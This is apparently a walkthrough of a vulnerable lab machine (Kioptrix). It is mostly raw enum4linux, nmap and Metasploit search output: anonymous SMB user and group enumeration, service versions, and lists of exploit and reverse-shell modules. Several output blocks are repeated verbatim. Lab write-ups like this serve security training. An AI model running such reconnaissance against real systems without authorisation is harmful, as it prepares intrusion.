S-1-5-21-4157223341-3243572438-1405127623-1023 KIOPTRIX\unix_group.11 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1024 KIOPTRIX\games (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1025 KIOPTRIX\mail (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1026 KIOPTRIX\gopher (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1027 KIOPTRIX\news (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1028 KIOPTRIX\ftp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1029 KIOPTRIX\uucp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1030 KIOPTRIX\unix_user.15 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1031 KIOPTRIX\man (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1032 KIOPTRIX\unix_user.16 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1033 KIOPTRIX\unix_group.16 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1034 KIOPTRIX\unix_user.17 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1035 KIOPTRIX\unix_group.17 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1036 KIOPTRIX\unix_user.18 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1037 KIOPTRIX\unix_group.18 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1038 KIOPTRIX\unix_user.19 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1039 KIOPTRIX\floppy (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1040 KIOPTRIX\unix_user.20 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1041 KIOPTRIX\games (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1042 KIOPTRIX\unix_user.21 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1043 KIOPTRIX\slocate (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1044 KIOPTRIX\unix_user.22 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1045 KIOPTRIX\utmp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1046 KIOPTRIX\squid (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1047 KIOPTRIX\squid (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1048 KIOPTRIX\unix_user.24 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1049 KIOPTRIX\unix_group.24 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1050 KIOPTRIX\unix_user.25 (Local User)
==============================( Getting printer info for 192.168.159.129 )==============================
No printers returned.
enum4linux complete on Tue Jul 28 04:46:13 2026┌─[bughunter@parrot]─[~]
└──╼ $enum4linux 192.168.159.129
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 28 04:45:56 2026
=========================================( Target Information )=========================================
Target ........... 192.168.159.129
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
==========================( Enumerating Workgroup/Domain on 192.168.159.129 )==========================
[+] Got domain/workgroup name: MYGROUP
==============================( Nbtstat Information for 192.168.159.129 )==============================
Looking up status of 192.168.159.129
KIOPTRIX <00> - B <ACTIVE> Workstation Service
KIOPTRIX <03> - B <ACTIVE> Messenger Service
KIOPTRIX <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP <1d> - B <ACTIVE> Master Browser
MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.159.129 )==================================
[+] Server 192.168.159.129 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.159.129 )===============================
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=================================( OS information on 192.168.159.129 )=================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.159.129 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
======================================( Users on 192.168.159.129 )======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
================================( Share Enumeration on 192.168.159.129 )================================
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.159.129
[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.159.129/IPC$ Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
//192.168.159.129/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A
==========================( Password Policy Information for 192.168.159.129 )==========================
[E] Unexpected error from polenum:
[+] Attaching to 192.168.159.129 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: SMB SessionError: 0x5
[+] Trying protocol 445/SMB...
[!] Protocol failed: [Errno Connection error (192.168.159.129:445)] [Errno 111] Connection refused
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 0
=====================================( Groups on 192.168.159.129 )=====================================
[+] Getting builtin groups:
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Power Users] rid:[0x223]
group:[Account Operators] rid:[0x224]
group:[System Operators] rid:[0x225]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
[+] Getting builtin group memberships:
Group: Administrators' (RID: 544) has member: Couldn't find group Administrators
Group: Replicator' (RID: 552) has member: Couldn't find group Replicator
Group: Account Operators' (RID: 548) has member: Couldn't find group Account Operators
Group: Print Operators' (RID: 550) has member: Couldn't find group Print Operators
Group: Users' (RID: 545) has member: Couldn't find group Users
Group: Guests' (RID: 546) has member: Couldn't find group Guests
Group: System Operators' (RID: 549) has member: Couldn't find group System Operators
Group: Backup Operators' (RID: 551) has member: Couldn't find group Backup Operators
Group: Power Users' (RID: 547) has member: Couldn't find group Power Users
[+] Getting local groups:
group:[sys] rid:[0x3ef]
group:[tty] rid:[0x3f3]
group:[disk] rid:[0x3f5]
group:[mem] rid:[0x3f9]
group:[kmem] rid:[0x3fb]
group:[wheel] rid:[0x3fd]
group:[man] rid:[0x407]
group:[dip] rid:[0x439]
group:[lock] rid:[0x455]
group:[users] rid:[0x4b1]
group:[slocate] rid:[0x413]
group:[floppy] rid:[0x40f]
group:[utmp] rid:[0x415]
[+] Getting local group memberships:
[+] Getting domain groups:
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
[+] Getting domain group memberships:
Group: 'Domain Users' (RID: 513) has member: Couldn't find group Domain Users
Group: 'Domain Admins' (RID: 512) has member: Couldn't find group Domain Admins
=================( Users on 192.168.159.129 via RID cycling (RIDS: 500-550,1000-1050) )=================
[I] Found new SID:
S-1-5-21-4157223341-3243572438-1405127623
[+] Enumerating users using SID S-1-5-21-4157223341-3243572438-1405127623 and logon username '', password ''
S-1-5-21-4157223341-3243572438-1405127623-502 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-503 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-504 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-505 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-506 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-507 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-508 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-509 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-510 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-511 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-512 KIOPTRIX\Domain Admins (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-513 KIOPTRIX\Domain Users (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-514 KIOPTRIX\Domain Guests (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-515 KIOPTRIX\unix_group.2147483405 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-516 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-517 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-518 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-519 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-520 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-521 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-522 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-523 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-524 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-525 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-526 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-527 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-528 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-529 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-530 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-531 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-532 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-533 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-534 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-535 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-536 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-537 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-538 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-539 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-540 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-541 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-542 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-543 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-544 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-545 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-546 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-547 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-548 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-549 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-550 KIOPTRIX\unix_group.2147483423 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1000 KIOPTRIX\root (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1001 KIOPTRIX\root (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1002 KIOPTRIX\bin (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1003 KIOPTRIX\bin (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1004 KIOPTRIX\daemon (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1005 KIOPTRIX\daemon (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1006 KIOPTRIX\adm (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1007 KIOPTRIX\sys (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1008 KIOPTRIX\lp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1009 KIOPTRIX\adm (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1010 KIOPTRIX\sync (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1011 KIOPTRIX\tty (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1012 KIOPTRIX\shutdown (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1013 KIOPTRIX\disk (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1014 KIOPTRIX\halt (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1015 KIOPTRIX\lp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1016 KIOPTRIX\mail (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1017 KIOPTRIX\mem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1018 KIOPTRIX\news (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1019 KIOPTRIX\kmem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1020 KIOPTRIX\uucp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1021 KIOPTRIX\wheel (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1022 KIOPTRIX\operator (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1023 KIOPTRIX\unix_group.11 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1024 KIOPTRIX\games (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1025 KIOPTRIX\mail (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1026 KIOPTRIX\gopher (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1027 KIOPTRIX\news (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1028 KIOPTRIX\ftp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1029 KIOPTRIX\uucp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1030 KIOPTRIX\unix_user.15 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1031 KIOPTRIX\man (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1032 KIOPTRIX\unix_user.16 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1033 KIOPTRIX\unix_group.16 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1034 KIOPTRIX\unix_user.17 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1035 KIOPTRIX\unix_group.17 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1036 KIOPTRIX\unix_user.18 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1037 KIOPTRIX\unix_group.18 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1038 KIOPTRIX\unix_user.19 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1039 KIOPTRIX\floppy (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1040 KIOPTRIX\unix_user.20 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1041 KIOPTRIX\games (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1042 KIOPTRIX\unix_user.21 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1043 KIOPTRIX\slocate (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1044 KIOPTRIX\unix_user.22 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1045 KIOPTRIX\utmp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1046 KIOPTRIX\squid (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1047 KIOPTRIX\squid (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1048 KIOPTRIX\unix_user.24 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1049 KIOPTRIX\unix_group.24 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1050 KIOPTRIX\unix_user.25 (Local User)
==============================( Getting printer info for 192.168.159.129 )==============================
No printers returned.
enum4linux complete on Tue Jul 28 04:46:13 2026We couldn't find the Samba version. Now let's try to find the exploits we have.
We use the MetaSploit tool
┌─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search mod_ssl
[-] No results from search
[msf](Jobs:0 Agents:0) >> search apache 1.3
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal No Apache Commons FileUpload and Apache Tomcat DoS
1 exploit/windows/http/apache_mod_rewrite_ldap 2006-07-28 great Yes Apache Module mod_rewrite LDAP Protocol Buffer Overflow
2 exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual No Apache Struts ClassLoader Manipulation Remote Code Execution
3 auxiliary/scanner/http/tomcat_enum normal No Apache Tomcat User Enumeration
4 exploit/windows/http/apache_chunked 2002-06-19 good Yes Apache Win32 Chunked Encoding
5 exploit/windows/http/apache_modjk_overflow 2007-03-02 great Yes Apache mod_jk 1.2.20 Buffer Overflow
6 exploit/unix/misc/spamassassin_exec 2006-06-06 excellent No SpamAssassin spamd Remote Command Execution
7 auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09 normal No Tomcat UTF-8 Directory Traversal Vulnerability
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/admin/http/tomcat_utf8_traversal
[msf](Jobs:0 Agents:0) >> search openssl
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x86/exec normal No BSD Execute Command
1 payload/osx/x86/exec normal No OS X Execute Command
2 auxiliary/server/openssl_altchainsforgery_mitm_proxy 2015-07-09 normal No OpenSSL Alternative Chains Certificate Forgery MITM Proxy
3 auxiliary/dos/ssl/dtls_changecipherspec 2000-04-26 normal No OpenSSL DTLS ChangeCipherSpec Remote DoS
4 auxiliary/dos/ssl/dtls_fragment_overflow 2014-06-05 normal No OpenSSL DTLS Fragment Buffer Overflow DoS
5 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
6 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak
7 auxiliary/scanner/ssl/openssl_ccs 2014-06-05 normal No OpenSSL Server-Side ChangeCipherSpec Injection Scanner
8 auxiliary/dos/ssl/openssl_aesni 2013-02-05 normal No OpenSSL TLS 1.1 and 1.2 AES-NI DoS
9 exploit/unix/misc/polycom_hdx_traceroute_exec 2017-11-12 excellent Yes Polycom Shell HDX Series Traceroute Command Execution
10 auxiliary/scanner/ssl/ssl_version 2014-10-14 normal No SSL/TLS Version Detection
11 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
Interact with a module by name or index. For example info 11, use 11 or use payload/cmd/unix/reverse_openssl
[msf](Jobs:0 Agents:0) >> search CVE-2001-0835
[-] No results from search┌─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search mod_ssl
[-] No results from search
[msf](Jobs:0 Agents:0) >> search apache 1.3
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal No Apache Commons FileUpload and Apache Tomcat DoS
1 exploit/windows/http/apache_mod_rewrite_ldap 2006-07-28 great Yes Apache Module mod_rewrite LDAP Protocol Buffer Overflow
2 exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual No Apache Struts ClassLoader Manipulation Remote Code Execution
3 auxiliary/scanner/http/tomcat_enum normal No Apache Tomcat User Enumeration
4 exploit/windows/http/apache_chunked 2002-06-19 good Yes Apache Win32 Chunked Encoding
5 exploit/windows/http/apache_modjk_overflow 2007-03-02 great Yes Apache mod_jk 1.2.20 Buffer Overflow
6 exploit/unix/misc/spamassassin_exec 2006-06-06 excellent No SpamAssassin spamd Remote Command Execution
7 auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09 normal No Tomcat UTF-8 Directory Traversal Vulnerability
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/admin/http/tomcat_utf8_traversal
[msf](Jobs:0 Agents:0) >> search openssl
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x86/exec normal No BSD Execute Command
1 payload/osx/x86/exec normal No OS X Execute Command
2 auxiliary/server/openssl_altchainsforgery_mitm_proxy 2015-07-09 normal No OpenSSL Alternative Chains Certificate Forgery MITM Proxy
3 auxiliary/dos/ssl/dtls_changecipherspec 2000-04-26 normal No OpenSSL DTLS ChangeCipherSpec Remote DoS
4 auxiliary/dos/ssl/dtls_fragment_overflow 2014-06-05 normal No OpenSSL DTLS Fragment Buffer Overflow DoS
5 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
6 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak
7 auxiliary/scanner/ssl/openssl_ccs 2014-06-05 normal No OpenSSL Server-Side ChangeCipherSpec Injection Scanner
8 auxiliary/dos/ssl/openssl_aesni 2013-02-05 normal No OpenSSL TLS 1.1 and 1.2 AES-NI DoS
9 exploit/unix/misc/polycom_hdx_traceroute_exec 2017-11-12 excellent Yes Polycom Shell HDX Series Traceroute Command Execution
10 auxiliary/scanner/ssl/ssl_version 2014-10-14 normal No SSL/TLS Version Detection
11 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
Interact with a module by name or index. For example info 11, use 11 or use payload/cmd/unix/reverse_openssl
[msf](Jobs:0 Agents:0) >> search CVE-2001-0835
[-] No results from searchAfter all this enumeration, there's nothing left to exploit.
We will not give up.
Let's see if there is an NFS service on port rpcbind
┌─[bughunter@parrot]─[~]
└──╼ $nmap -sV --script rpcinfo 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 07:13 MDT
Nmap scan report for 192.168.159.129
Host is up (0.31s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds
┌─[bughunter@parrot]─[~]
└──╼ $nmap -p111 --script rpcinfo 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 07:14 MDT
Nmap scan report for 192.168.159.129
Host is up (0.00064s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds┌─[bughunter@parrot]─[~]
└──╼ $nmap -sV --script rpcinfo 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 07:13 MDT
Nmap scan report for 192.168.159.129
Host is up (0.31s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds
┌─[bughunter@parrot]─[~]
└──╼ $nmap -p111 --script rpcinfo 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 07:14 MDT
Nmap scan report for 192.168.159.129
Host is up (0.00064s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
Nmap done: 1 IP address (1 host up) scanned in 0.11 secondsNo NFS
We've tried everything: http, https, Apache, OpenSSL, ModSSL, CVE Only Samba remains We're trying to find the version, but it doesn't appear in SMBclient, Enum4Linex, or Nmap So we'll use Metasploit as a last resort
─[bughunter@parrot]─[~]
└──╼ $msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search smb scanner
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/citrix_dir_traversal 2019-12-17 normal No Citrix ADC (NetScaler) Directory Traversal Scanner
1 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal No DCOM Exec
2 auxiliary/scanner/smb/impacket/secretsdump normal No DCOM Exec
3 auxiliary/scanner/dcerpc/dfscoerce normal No DFSCoerce
